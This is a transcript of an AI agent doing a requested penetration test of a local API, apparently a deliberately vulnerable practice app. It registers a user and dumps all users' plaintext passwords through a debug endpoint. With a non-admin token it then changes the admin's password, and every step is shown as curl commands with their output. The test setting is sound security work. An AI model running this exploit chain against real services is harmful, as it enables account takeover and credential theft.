```
Enter your task (multiple lines allowed).
Type 'done' to finish, 'cancel' to restart, 'exit' to exit:
────────────────────────────────────────────────────────────────

Test unauthorized password change on http://localhost:5001. You can start by registering a new user. The goal is to change
 the admin's password. Here's the openapi specs of the api.
                    book_title:
                      type: string
                      example: 'bookTitle77'
                    owner:
                      type: string
                      example: 'name1'
                    secret:
                      type: string
                      example: 'secret for bookTitle77'
        '401':
          description: User not authorized
          content:
            application/json:
              schema:
                type: object
                properties:
                  status:
                    type: string
                    enum: ['fail']
                    example: 'fail'
                  message:
                    type: string
                    example: 'Invalid Token'
        '404':
          description: Book not found
          content:
            application/json:
              schema:
                type: object
                properties:
                  status:
                    type: string
                    enum: ['fail']
                    example: 'fail'
                  message:
                    type: string
                    example: 'Book not found!'

done
```

Saving input...

Thought

Start by registering a new user to begin testing unauthorized password changes.

```
curl -X POST http://localhost:5001/users/v1/register \
     -H "Content-Type: application/json" \
     -d '{"username":"testuser","password":"testpass","email":"testuser@example.com"}'
```

Command

```
curl -X POST http://localhost:5001/users/v1/register -H "Content-Type: application/json" -d
'{"username":"testuser","password":"testpass","email":"testuser@example.com"}'
```

System Output

```
{"message": "Successfully registered. Login to receive an auth token.", "status": "success"}
```

Thought

Now, log in with the newly registered user to obtain an authorization token.

```
curl -X POST http://localhost:5001/users/v1/login \
     -H "Content-Type: application/json" \
     -d '{"username":"testuser","password":"testpass"}'
```

Command

```
curl -X POST http://localhost:5001/users/v1/login -H "Content-Type: application/json" -d
'{"username":"testuser","password":"testpass"}'
```

System Output

```
{"auth_token":
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDExMzc1MTksImlhdCI6MTcwMTEzNzQ1OSwic3ViIjoidGVzdHVzZXIifQ.hjXdnNMrK
NvWBKYr3Cic--jnAL-P2JDCs9OVBeBZ8_Y", "message": "Successfully logged in.", "status": "success"}
```

Thought

Next, attempt to change the admin's password using your auth token. Replace ADMIN_USERNAME with the actual admin's username and NEW_PASSWORD with the new password you want to set:

```
curl -X PUT http://localhost:5001/users/v1/ADMIN_USERNAME/password \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDExMzc1MTksImlhdCI6MTcwMTEzNzQ1OSwic3ViIjoidGVzdHVzZXIifQ.hjXdnNMr
vWBKYr3Cic--jnAL-P2JDCs9OVBeBZ8_Y" \
     -d '{"password":"NEW_PASSWORD"}'
```

Command

```
curl -X PUT http://localhost:5001/users/v1/ADMIN_USERNAME/password -H "Content-Type: application/json" -H
"Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDExMzc1MTksImlhdCI6MTcwMTEzNzQ1OSwic3ViIjoidGVzdHVzZXIifQ.hjXdnNMrKN
vWBKYr3Cic--jnAL-P2JDCs9OVBeBZ8_Y" -d '{"password":"NEW_PASSWORD"}'
```

System Output

```
{ "status": "fail", "message": "User Not Found"}
```

Thought

It seems there was a placeholder in the URL that needs to be replaced with the actual admin username. First, you need to find out the actual username of the admin. Use the debug endpoint to list all users and identify the admin account:

```
curl -X GET http://localhost:5001/users/v1/_debug
```

Command

```
curl -X GET http://localhost:5001/users/v1/_debug
```

System Output

```
{
  "users": [
    {
      "admin": false,
      "email": "mail1@mail.com",
      "password": "pass1",
      "username": "name1"
    },
    {
      "admin": false,
      "email": "mail2@mail.com",
      "password": "pass2",
      "username": "name2"
    },
    {
      "admin": true,
      "email": "admin@mail.com",
      "password": "NewAdminPass123",
      "username": "admin"
    },
    {
      "admin": false,
      "email": "alice.tang@test.com",
      "password": "123678",
      "username": "

...

dmin@tempmail.com",
      "password": "newpass123",
      "username": "NewAdminUser"
    },
    {
      "admin": false,
      "email": "testuser@testmail.com",
      "password": "TestPass123",
      "username": "TestUser"
    },
    {
      "admin": false,
      "email": "tester@testmail.com",
      "password": "password123",
      "username": "tester"
    },
    {
      "admin": false,
      "email": "testuser@example.com",
      "password": "testpass",
      "username": "testuser"
    }
  ]
}
```

Thought

Now that you have the admin's username, try to change the admin's password again with the correct username:

```
curl -X PUT http://localhost:5001/users/v1/admin/password \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDExMzc1MTksImlhdCI6MTcwMTEzNzQ1OSwic3ViIjoidGVzdHVzZXIifQ.hjXdnNMr
vWBKYr3Cic--jnAL-P2JDCs9OVBeBZ8_Y" \
     -d '{"password":"NewSecr3tPass!"}'
```

Command

```
curl -X PUT http://localhost:5001/users/v1/admin/password -H "Content-Type: application/json" -H "Authorization:
Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDExMzc1MTksImlhdCI6MTcwMTEzNzQ1OSwic3ViIjoidGVzdHVzZXIifQ.hjXdnNMrKN
vWBKYr3Cic--jnAL-P2JDCs9OVBeBZ8_Y" -d '{"password":"NewSecr3tPass!"}'
```

Thought

It appears there was no output or error in the response. To verify the password change, attempt to log in with the admin username and the new password you tried to set:

```
curl -X POST http://localhost:5001/users/v1/login \
     -H "Content-Type: application/json" \
     -d '{"username":"admin","password":"NewSecr3tPass!"}'
```

Command

```
curl -X POST http://localhost:5001/users/v1/login -H "Content-Type: application/json" -d
'{"username":"admin","password":"NewSecr3tPass!"}'
```

System Output

```
{"auth_token":
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDExMzc1NzcsImlhdCI6MTcwMTEzNzUxNywic3ViIjoiYWRtaW4ifQ.CfyVo9m1VP5Nl
_ibInXmg5IFEWm3X9wYgYjlm_OZ5TE", "message": "Successfully logged in.", "status": "success"}
```

Thought

The login was successful with the new password. This implies that the password was changed, indicating a vulnerability in the system that allows for unauthorized password changes. You should report this finding to the system owners to address the security issue.

I have successfully completed the task. Below is a summary of the steps taken:

Summary

Here's a summary of the steps that I took to successfully test and exploit unauthorized password change on the target API:

1. I registered a new user to start the process of testing the password change vulnerability.

   ```
   curl -X POST http://localhost:5001/users/v1/register -H "Content-Type: application/json" -d
   '{"username":"testuser","password":"testpass","email":"testuser@example.com"}'
   ```

   - Command explanation: This command registers a new user with the username testuser, password testpass, and email testuser@example.com using the API endpoint.
   - Result: Successfully registered the new user.

2. I logged in as the newly registered user to receive an authentication token.

   ```
   curl -X POST http://localhost:5001/users/v1/login -H "Content-Type: application/json" -d
   '{"username":"testuser","password":"testpass"}'
   ```

   - Command explanation: This command logs in with the testuser username and testpass password to receive a token that will be used for authenticated requests.
   - Result: Obtained an authentication token after successfully logging in.
3. I identified the admin's username by listing all user details using a debug endpoint.

   ```
   curl -X GET http://localhost:5001/users/v1/_debug
   ```

   - Command explanation: This command calls the debug endpoint to retrieve detailed information about all users, including the one with admin privileges.
   - Result: Found the admin username as admin.
4. Using the non-admin auth token, I attempted to change the admin's password.

   ```
   curl -X PUT http://localhost:5001/users/v1/admin/password -H "Content-Type: application/json" -H "Authorization:
   Bearer AUTH_TOKEN" -d '{"password":"NewSecr3tPass!"}'
   ```

   - Command explanation: With the earlier received auth token (replace AUTH_TOKEN with the actual token), this command tries to update the password for the user with the admin username to NewSecr3tPass!.
   - Result: The command executed without any error messages, suggesting that the change may have been successful.
5. To confirm the password change, I logged in as the admin user with the new password.

   ```
   curl -X POST http://localhost:5001/users/v1/login -H "Content-Type: application/json" -d
   '{"username":"admin","password":"NewSecr3tPass!"}'
   ```

   - Command explanation: This curl request attempts to log in using the admin's username and the new password set in the previous step.
   - Result: I was able to log in as the admin using the new password, confirming that the password change was indeed successful and that the API is vulnerable to unauthorized password changes.